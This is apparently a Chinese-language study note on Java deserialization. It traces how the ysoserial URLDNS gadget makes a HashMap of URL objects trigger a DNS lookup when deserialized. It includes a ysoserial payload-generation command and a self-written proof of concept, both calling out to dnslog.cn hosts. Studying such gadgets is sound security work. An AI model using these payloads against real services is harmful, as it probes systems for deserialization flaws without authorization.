Java反序列化利用鏈-URLDNS學習
1.Java 反序列化
關于java的反序列化只是大概知道是因為readObject方法,導致的但是怎么個過程導致的rce,還是很迷糊的。
但是直接從CC鏈來學習的話,對新手實在不太友好。所以,今天從ysoserial.jar中最簡單的URLDNSgadget來學習一下反序列化的流程。
2.URLDNS
ysoserial urldns gadget的作用是類似于dnslog,利用的jdk中的URL class 無需第三方依賴。

生成poc
java -jar ysoserial.jar URLDNS http://psdjax.dnslog.cn > a.bin
Java模擬反序列化
package com.company;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.net.URL;
public class Main {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("a.bin"));
URL url = (URL) ois.readObject();
}
}
執行以后成功收到dnslog

在ysoserial中查看gadget的實現src/main/java/ysoserial/payloads/URLDNS.java
其中核心大概就是這么幾句代碼

其中最主要的邏輯 new 了一個 HashMap,然后put進去一個 URL class,然后return。
反序列化的觸發點,一定是readObject,所以我們直接來看HashMap class的readObject方法
前面都不需要怎么看,其中最重要的就是hash方法

跟進到hash方法

在hashmap class的hash方法里面,是通過調用key的hashCode方法來獲得的hash。
而這里的key的值是,前面put進去的一個URL對象
URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
查看URL hash方法

繼續跟進,然后最關鍵的代碼就來了。
首先獲取了協議,然后使用了getHostAddress來獲取url ip地址。到這一步就執行了我們的dnslog請求。

這個gadget的實現其實很簡單,方法調用也不深,我們用幾行代碼。自己來實現一個
package com.company;
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception {
HashMap ht = new HashMap();
URL u = new URL("http://ls8ztu.dnslog.cn"); // URL to use as the Key
ht.put(u, "1");
ObjectOutputStream f = new ObjectOutputStream(new FileOutputStream("dns.bin"));
f.writeObject(ht);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("dns.bin"));
}
}
執行以后,會收到2個dns請求

為什么會是兩個呢,這是因為
我們在put的時候就會執行一次hash,反序列化的時候又執行了一次就是兩次了,這樣在實際使用的時候容易,造成誤判。

那么ysoserial是怎么解決這個問題的呢,ysoserial自己實現了一個Handler,然后將getHostAddress方法重寫為直接返回null。就不會觸發請求了。
